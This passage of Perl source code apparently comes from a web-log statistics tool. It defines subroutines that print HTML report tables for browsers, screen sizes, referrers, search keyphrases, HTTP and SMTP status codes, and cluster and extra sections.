"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
my $total_h = 0;
my $total_p = 0;
my $count = 0;
foreach my $key (@keylist) {
my $p_h = ' ';
my $p_p = ' ';
if ($Totalh) {
$p_h = int( $new_browser_h{$key} / $Totalh * 1000 ) / 10;
$p_h = "$p_h %";
}
if ($Totalp) {
$p_p = int( $new_browser_p{$key} / $Totalp * 1000 ) / 10;
$p_p = "$p_p %";
}
if ( $key eq 'Unknown' ) {
print "<tr><td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/browser\/unknown.png\""
. AltTitle("")
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>"
. "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>"
. "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td></tr>\n";
}
else {
my $keywithoutcumul = $key;
$keywithoutcumul =~ s/cumul$//i;
my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
|| $keywithoutcumul;
my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
|| "notavailable";
if ( $BrowsersFamily{$keywithoutcumul} ) {
$libbrowser = "<b>$libbrowser</b>";
}
print "<tr><td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/browser\/$nameicon.png\""
. AltTitle("")
. " /></td><td class=\"aws\">"
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
. "$libbrowser"
. ( $PageDir eq 'rtl' ? "</span>" : "" )
. "</td><td>"
. (
$BrowsersHereAreGrabbers{$key}
? "<b>$Message[112]</b>"
: "$Message[113]"
)
. "</td><td>".Format_Number($new_browser_p{$key})."</td><td>$p_p</td><td>".Format_Number($new_browser_h{$key})."</td><td>$p_h</td></tr>\n";
}
$total_h += $new_browser_h{$key};
$total_p += $new_browser_p{$key};
$count++;
}
if ($Debug) {
debug( "Total real / shown : $Totalh / $total_h", 2 );
}
my $rest_h = $Totalh - $total_h;
my $rest_p = $Totalp - $total_p;
if ( $rest_h > 0 ) {
my $p_p = 0.0;
my $p_h;
if ($Totalh) { $p_h = int( $rest_h / $Totalh * 1000 ) / 10; }
if ($Totalp) { $p_p = int( $rest_p / $Totalp * 1000 ) / 10; }
print "<tr>";
print "<td> </td>";
print
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td> </td><td>$rest_p</td>";
print "<td>$p_p %</td><td>$rest_h</td><td>$p_h %</td></tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the ScreenSize chart and table
# Parameters: -
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainScreenSize{
if ($Debug) { debug( "ShowScreenSizeStats", 2 ); }
print "$Center<a name=\"screensizes\"> </a><br />\n";
my $Totalh = 0;
foreach ( keys %_screensize_h ) { $Totalh += $_screensize_h{$_}; }
my $title =
"$Message[135] ($Message[77] $MaxNbOf{'ScreenSizesShown'})";
&tab_head( "$title", 0, 0, 'screensizes' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[135]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
my $total_h = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'ScreenSizesShown'},
$MinHit{'ScreenSize'}, \%_screensize_h, \%_screensize_h );
foreach my $key (@keylist) {
my $p = ' ';
if ($Totalh) {
$p = int( $_screensize_h{$key} / $Totalh * 1000 ) / 10;
$p = "$p %";
}
$total_h += $_screensize_h{$key} || 0;
print "<tr>";
if ( $key eq 'Unknown' ) {
print
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
print "<td>$p</td>";
}
else {
my $screensize = $key;
print "<td class=\"aws\">$screensize</td>";
print "<td>$p</td>";
}
print "</tr>\n";
$count++;
}
my $rest_h = $Totalh - $total_h;
if ( $rest_h > 0 ) { # All others sessions
my $p = 0;
if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
print "<td>" . ( $rest_h ? "$p %" : " " ) . "</td>";
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the Referrers chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainReferrers{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowOriginStats", 2 ); }
print "$Center<a name=\"referer\"> </a><br />\n";
my $Totalp = 0;
foreach ( 0 .. 5 ) {
$Totalp +=
( $_ != 4 || $IncludeInternalLinksInOriginSection )
? $_from_p[$_]
: 0;
}
my $Totalh = 0;
foreach ( 0 .. 5 ) {
$Totalh +=
( $_ != 4 || $IncludeInternalLinksInOriginSection )
? $_from_h[$_]
: 0;
}
my $title = "$Message[36]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title .= " - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=ORIGIN&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( $title, 19, 0, 'referer' );
my @p_p = ( 0, 0, 0, 0, 0, 0 );
if ( $Totalp > 0 ) {
$p_p[0] = int( $_from_p[0] / $Totalp * 1000 ) / 10;
$p_p[1] = int( $_from_p[1] / $Totalp * 1000 ) / 10;
$p_p[2] = int( $_from_p[2] / $Totalp * 1000 ) / 10;
$p_p[3] = int( $_from_p[3] / $Totalp * 1000 ) / 10;
$p_p[4] = int( $_from_p[4] / $Totalp * 1000 ) / 10;
$p_p[5] = int( $_from_p[5] / $Totalp * 1000 ) / 10;
}
my @p_h = ( 0, 0, 0, 0, 0, 0 );
if ( $Totalh > 0 ) {
$p_h[0] = int( $_from_h[0] / $Totalh * 1000 ) / 10;
$p_h[1] = int( $_from_h[1] / $Totalh * 1000 ) / 10;
$p_h[2] = int( $_from_h[2] / $Totalh * 1000 ) / 10;
$p_h[3] = int( $_from_h[3] / $Totalh * 1000 ) / 10;
$p_h[4] = int( $_from_h[4] / $Totalh * 1000 ) / 10;
$p_h[5] = int( $_from_h[5] / $Totalh * 1000 ) / 10;
}
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[37]</th>";
if ( $ShowOriginStats =~ /P/i ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
}
if ( $ShowOriginStats =~ /H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
}
print "</tr>\n";
#------- Referrals by direct address/bookmark/link in email/etc...
print "<tr><td class=\"aws\"><b>$Message[38]</b></td>";
if ( $ShowOriginStats =~ /P/i ) {
print "<td>"
. ( $_from_p[0] ? Format_Number($_from_p[0]) : " " )
. "</td><td>"
. ( $_from_p[0] ? "$p_p[0] %" : " " ) . "</td>";
}
if ( $ShowOriginStats =~ /H/i ) {
print "<td>"
. ( $_from_h[0] ? Format_Number($_from_h[0]) : " " )
. "</td><td>"
. ( $_from_h[0] ? "$p_h[0] %" : " " ) . "</td>";
}
print "</tr>\n";
#------- Referrals by search engines
print "<tr"
. Tooltip(13)
. "><td class=\"aws\"><b>$Message[40]</b> - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=refererse")
: "$StaticLinks.refererse.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a><br />\n";
if ( scalar keys %_se_referrals_h ) {
print "<table>\n";
my $total_p = 0;
my $total_h = 0;
my $count = 0;
&BuildKeyList(
$MaxNbOf{'RefererShown'},
$MinHit{'Refer'},
\%_se_referrals_h,
(
( scalar keys %_se_referrals_p )
? \%_se_referrals_p
: \%_se_referrals_h
)
);
foreach my $key (@keylist) {
my $newreferer = $SearchEnginesHashLib{$key}
|| CleanXSS($key);
print "<tr><td class=\"aws\">- $newreferer</td>";
print "<td>"
. (
Format_Number($_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' ))
. "</td>";
print "<td> / ".Format_Number($_se_referrals_h{$key})."</td>";
print "</tr>\n";
$total_p += $_se_referrals_p{$key};
$total_h += $_se_referrals_h{$key};
$count++;
}
if ($Debug) {
debug(
"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",
2
);
}
my $rest_p = $TotalSearchEnginesPages - $total_p;
my $rest_h = $TotalSearchEnginesHits - $total_h;
if ( $rest_p > 0 || $rest_h > 0 ) {
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
print "<td>".Format_Number($rest_p)."</td>";
print "<td> / ".Format_Number($rest_h)."</td>";
print "</tr>\n";
}
print "</table>";
}
print "</td>\n";
if ( $ShowOriginStats =~ /P/i ) {
print "<td valign=\"top\">"
. ( $_from_p[2] ? Format_Number($_from_p[2]) : " " )
. "</td><td valign=\"top\">"
. ( $_from_p[2] ? "$p_p[2] %" : " " ) . "</td>";
}
if ( $ShowOriginStats =~ /H/i ) {
print "<td valign=\"top\">"
. ( $_from_h[2] ? Format_Number($_from_h[2]) : " " )
. "</td><td valign=\"top\">"
. ( $_from_h[2] ? "$p_h[2] %" : " " ) . "</td>";
}
print "</tr>\n";
#------- Referrals by external HTML link
print "<tr"
. Tooltip(14)
. "><td class=\"aws\"><b>$Message[41]</b> - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=refererpages")
: "$StaticLinks.refererpages.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a><br />\n";
if ( scalar keys %_pagesrefs_h ) {
print "<table>\n";
my $total_p = 0;
my $total_h = 0;
my $count = 0;
&BuildKeyList(
$MaxNbOf{'RefererShown'},
$MinHit{'Refer'},
\%_pagesrefs_h,
(
( scalar keys %_pagesrefs_p )
? \%_pagesrefs_p
: \%_pagesrefs_h
)
);
foreach my $key (@keylist) {
print "<tr><td class=\"aws\">- ";
&HTMLShowURLInfo($key);
print "</td>";
print "<td>"
. Format_Number(( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : '0' ))
. "</td>";
print "<td>".Format_Number($_pagesrefs_h{$key})."</td>";
print "</tr>\n";
$total_p += $_pagesrefs_p{$key};
$total_h += $_pagesrefs_h{$key};
$count++;
}
if ($Debug) {
debug(
"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
2
);
}
my $rest_p = $TotalRefererPages - $total_p;
my $rest_h = $TotalRefererHits - $total_h;
if ( $rest_p > 0 || $rest_h > 0 ) {
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
print "<td>".Format_Number($rest_p)."</td>";
print "<td>".Format_Number($rest_h)."</td>";
print "</tr>\n";
}
print "</table>";
}
print "</td>\n";
if ( $ShowOriginStats =~ /P/i ) {
print "<td valign=\"top\">"
. ( $_from_p[3] ? Format_Number($_from_p[3]) : " " )
. "</td><td valign=\"top\">"
. ( $_from_p[3] ? "$p_p[3] %" : " " ) . "</td>";
}
if ( $ShowOriginStats =~ /H/i ) {
print "<td valign=\"top\">"
. ( $_from_h[3] ? Format_Number($_from_h[3]) : " " )
. "</td><td valign=\"top\">"
. ( $_from_h[3] ? "$p_h[3] %" : " " ) . "</td>";
}
print "</tr>\n";
#------- Referrals by internal HTML link
if ($IncludeInternalLinksInOriginSection) {
print "<tr><td class=\"aws\"><b>$Message[42]</b></td>";
if ( $ShowOriginStats =~ /P/i ) {
print "<td>"
. ( $_from_p[4] ? Format_Number($_from_p[4]) : " " )
. "</td><td>"
. ( $_from_p[4] ? "$p_p[4] %" : " " ) . "</td>";
}
if ( $ShowOriginStats =~ /H/i ) {
print "<td>"
. ( $_from_h[4] ? Format_Number($_from_h[4]) : " " )
. "</td><td>"
. ( $_from_h[4] ? "$p_h[4] %" : " " ) . "</td>";
}
print "</tr>\n";
}
#------- Referrals by news group
#print "<tr><td class=\"aws\"><b>$Message[107]</b></td>";
#if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[5]?$_from_p[5]:" ")."</td><td>".($_from_p[5]?"$p_p[5] %":" ")."</td>"; }
#if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[5]?$_from_h[5]:" ")."</td><td>".($_from_h[5]?"$p_h[5] %":" ")."</td>"; }
#print "</tr>\n";
#------- Unknown origin
print "<tr><td class=\"aws\"><b>$Message[39]</b></td>";
if ( $ShowOriginStats =~ /P/i ) {
print "<td>"
. ( $_from_p[1] ? Format_Number($_from_p[1]) : " " )
. "</td><td>"
. ( $_from_p[1] ? "$p_p[1] %" : " " ) . "</td>";
}
if ( $ShowOriginStats =~ /H/i ) {
print "<td>"
. ( $_from_h[1] ? Format_Number($_from_h[1]) : " " )
. "</td><td>"
. ( $_from_h[1] ? "$p_h[1] %" : " " ) . "</td>";
}
print "</tr>\n";
&tab_end();
# 0: Direct
# 1: Unknown
# 2: SE
# 3: External link
# 4: Internal link
# 5: Newsgroup (deprecated)
}
#------------------------------------------------------------------------------
# Function: Prints the Key Phrases and Keywords chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainKeys{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($ShowKeyphrasesStats) {
print "$Center<a name=\"keyphrases\"> </a>";
}
if ($ShowKeywordsStats) {
print "$Center<a name=\"keywords\"> </a>";
}
if ( $ShowKeyphrasesStats || $ShowKeywordsStats ) { print "<br />\n"; }
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
print
"<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr>";
}
if ($ShowKeyphrasesStats) {
# By Keyphrases
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
print "<td width=\"50%\" valign=\"top\">\n";
}
if ($Debug) { debug( "ShowKeyphrasesStats", 2 ); }
&tab_head(
"$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=keyphrases")
: "$StaticLinks.keyphrases.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>",
19,
( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
'keyphrases'
);
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
. Tooltip(15)
. "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
my $total_s = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'KeyphrasesShown'},
$MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases );
foreach my $key (@keylist) {
my $mot;
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
$mot = CleanXSS(
DecodeKey_decodeutfkeys(
$key, $PageCode || 'iso-8859-1'
)
);
}
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
my $p;
if ($TotalKeyphrases) {
$p =
int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
}
print "<tr><td class=\"aws\">"
. XMLEncode($mot)
. "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
$total_s += $_keyphrases{$key};
$count++;
}
if ($Debug) {
debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
}
my $rest_s = $TotalKeyphrases - $total_s;
if ( $rest_s > 0 ) {
my $p;
if ($TotalKeyphrases) {
$p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
}
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>";
print "<td>$p %</td></tr>\n";
}
&tab_end();
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
print "</td>\n";
}
}
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
print "<td> </td>";
}
if ($ShowKeywordsStats) {
# By Keywords
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
print "<td width=\"50%\" valign=\"top\">\n";
}
if ($Debug) { debug( "ShowKeywordsStats", 2 ); }
&tab_head(
"$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=keywords")
: "$StaticLinks.keywords.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>",
19,
( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
'keywords'
);
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
. Tooltip(15)
. "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
my $total_s = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
$MinHit{'Keyword'}, \%_keywords, \%_keywords );
foreach my $key (@keylist) {
my $mot;
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
$mot = CleanXSS(
DecodeKey_decodeutfkeys(
$key, $PageCode || 'iso-8859-1'
)
);
}
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
my $p;
if ($TotalKeywords) {
$p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
}
print "<tr><td class=\"aws\">"
. XMLEncode($mot)
. "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
$total_s += $_keywords{$key};
$count++;
}
if ($Debug) {
debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
}
my $rest_s = $TotalKeywords - $total_s;
if ( $rest_s > 0 ) {
my $p;
if ($TotalKeywords) {
$p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
}
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>";
print "<td>$p %</td></tr>\n";
}
&tab_end();
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
print "</td>\n";
}
}
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
print "</tr></table>\n";
}
}
#------------------------------------------------------------------------------
# Function: Prints the miscellaneous table
# Parameters: -
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainMisc{
if ($Debug) { debug( "ShowMiscStats", 2 ); }
print "$Center<a name=\"misc\"> </a><br />\n";
my $title = "$Message[139]";
&tab_head( "$title", 19, 0, 'misc' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[139]</th>";
print "<th width=\"100\"> </th>";
print "<th width=\"100\"> </th>";
print "</tr>\n";
my %label = (
'AddToFavourites' => $Message[137],
'JavascriptDisabled' => $Message[168],
'JavaEnabled' => $Message[140],
'DirectorSupport' => $Message[141],
'FlashSupport' => $Message[142],
'RealPlayerSupport' => $Message[143],
'QuickTimeSupport' => $Message[144],
'WindowsMediaPlayerSupport' => $Message[145],
'PDFSupport' => $Message[146]
);
foreach my $key (@MiscListOrder) {
my $mischar = substr( $key, 0, 1 );
if ( $ShowMiscStats !~ /$mischar/i ) { next; }
my $total = 0;
my $p;
if ( $MiscListCalc{$key} eq 'v' ) { $total = $TotalVisits; }
if ( $MiscListCalc{$key} eq 'u' ) { $total = $TotalUnique; }
if ( $MiscListCalc{$key} eq 'hm' ) {
$total = $_misc_h{'TotalMisc'} || 0;
}
if ($total) {
$p =
int( ( $_misc_h{$key} ? $_misc_h{$key} : 0 ) / $total *
1000 ) / 10;
}
print "<tr>";
print "<td class=\"aws\">"
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
. $label{$key}
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
if ( $MiscListCalc{$key} eq 'v' ) {
print "<td>"
. Format_Number(( $_misc_h{$key} || 0 ))
. " / ".Format_Number($total)." $Message[12]</td>";
}
if ( $MiscListCalc{$key} eq 'u' ) {
print "<td>"
. Format_Number(( $_misc_h{$key} || 0 ))
. " / ".Format_Number($total)." $Message[18]</td>";
}
if ( $MiscListCalc{$key} eq 'hm' ) { print "<td>-</td>"; }
print "<td>" . ( $total ? "$p %" : " " ) . "</td>";
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the Status codes chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainHTTPStatus{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowHTTPErrorsStats", 2 ); }
print "$Center<a name=\"errors\"> </a><br />\n";
my $title = "$Message[32]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title .= " - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=ERRORS&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 19, 0, 'errors' );
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
# Graph the top five in a pie chart
if (scalar @keylist > 1){
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
my @valdata = ();
my @valcolor = ($color_p);
my $cnt = 0;
foreach my $key (@keylist) {
push @valdata, int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
push @blocklabel, "$key";
$cnt++;
if ($cnt > 4) { last; }
}
print "<tr><td colspan=\"5\">";
my $function = "ShowGraph_$pluginname";
&$function(
"$title", "httpstatus",
0, \@blocklabel,
0, \@valcolor,
0, 0,
0, \@valdata
);
print "</td></tr>";
}
}
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[32]*</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
my $total_h = 0;
my $count = 0;
foreach my $key (@keylist) {
my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
print "<tr" . Tooltip( $key, $key ) . ">";
if ( $TrapInfosForHTTPErrorCodes{$key} ) {
print "<td><a href=\""
. (
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
? XMLEncode(
"$AWScript${NewLinkParams}output=errors$key")
: "$StaticLinks.errors$key.$StaticExt"
)
. "\"$NewLinkTarget>$key</a></td>";
}
else { print "<td valign=\"top\">$key</td>"; }
print "<td class=\"aws\">"
. (
$httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' )
. "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>"
. Format_Bytes( $_errors_k{$key} ) . "</td>";
print "</tr>\n";
$total_h += $_errors_h{$key};
$count++;
}
&tab_end("* $Message[154]");
}
#------------------------------------------------------------------------------
# Function: Prints the Status codes chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainSMTPStatus{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowSMTPErrorsStats", 2 ); }
print "$Center<a name=\"errors\"> </a><br />\n";
my $title = "$Message[147]";
&tab_head( "$title", 19, 0, 'errors' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[147]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
my $total_h = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
foreach my $key (@keylist) {
my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
print "<tr" . Tooltip( $key, $key ) . ">";
print "<td valign=\"top\">$key</td>";
print "<td class=\"aws\">"
. (
$smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' )
. "</td><td>".Format_Number($_errors_h{$key})."</td><td>$p %</td><td>"
. Format_Bytes( $_errors_k{$key} ) . "</td>";
print "</tr>\n";
$total_h += $_errors_h{$key};
$count++;
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the cluster information chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainCluster{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowClusterStats", 2 ); }
print "$Center<a name=\"clusters\"> </a><br />\n";
my $title = "$Message[155]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title .= " - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=CLUSTER&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 19, 0, 'clusters' );
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_cluster_p, \%_cluster_p );
# Graph the top five in a pie chart
if (scalar @keylist > 1){
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
my @valdata = ();
my @valcolor = ($color_p);
my $cnt = 0;
foreach my $key (@keylist) {
push @valdata, int( $_cluster_p{$key} / $TotalHits * 1000 ) / 10;
push @blocklabel, "$key";
$cnt++;
if ($cnt > 4) { last; }
}
print "<tr><td colspan=\"7\">";
my $function = "ShowGraph_$pluginname";
&$function(
"$title", "cluster",
0, \@blocklabel,
0, \@valcolor,
0, 0,
0, \@valdata
);
print "</td></tr>";
}
}
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[155]</th>";
&HTMLShowClusterInfo('__title__');
if ( $ShowClusterStats =~ /P/i ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
}
if ( $ShowClusterStats =~ /H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
}
if ( $ShowClusterStats =~ /B/i ) {
print
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
}
print "</tr>\n";
my $total_p = my $total_h = my $total_k = 0;
# Cluster feature might have been enable in middle of month so we recalculate
# total for cluster section only, to calculate ratio, instead of using global total
foreach my $key (@keylist) {
$total_p += int( $_cluster_p{$key} || 0 );
$total_h += int( $_cluster_h{$key} || 0 );
$total_k += int( $_cluster_k{$key} || 0 );
}
my $count = 0;
foreach my $key (@keylist) {
my $p_p = int( $_cluster_p{$key} / $total_p * 1000 ) / 10;
my $p_h = int( $_cluster_h{$key} / $total_h * 1000 ) / 10;
my $p_k = int( $_cluster_k{$key} / $total_k * 1000 ) / 10;
print "<tr>";
print "<td class=\"aws\">Computer $key</td>";
&HTMLShowClusterInfo($key);
if ( $ShowClusterStats =~ /P/i ) {
print "<td>"
. ( $_cluster_p{$key} ? Format_Number($_cluster_p{$key}) : " " )
. "</td><td>$p_p %</td>";
}
if ( $ShowClusterStats =~ /H/i ) {
print "<td>".Format_Number($_cluster_h{$key})."</td><td>$p_h %</td>";
}
if ( $ShowClusterStats =~ /B/i ) {
print "<td>"
. Format_Bytes( $_cluster_k{$key} )
. "</td><td>$p_k %</td>";
}
print "</tr>\n";
$count++;
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints a chart or table for each extra section
# Parameters: $NewLinkParams, $NewLinkTarget, $extranum
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainExtra{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
my $extranum = shift;
if ($Debug) { debug( "ExtraName$extranum", 2 ); }
print "$Center<a name=\"extra$extranum\"> </a><br />";
my $title = $ExtraName[$extranum];
&tab_head( "$title", 19, 0, "extra$extranum" );
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
print "<th>" . $ExtraFirstColumnTitle[$extranum];
print " - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
? XMLEncode(
"$AWScript${NewLinkParams}output=allextra$extranum")
: "$StaticLinks.allextra$extranum.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>";
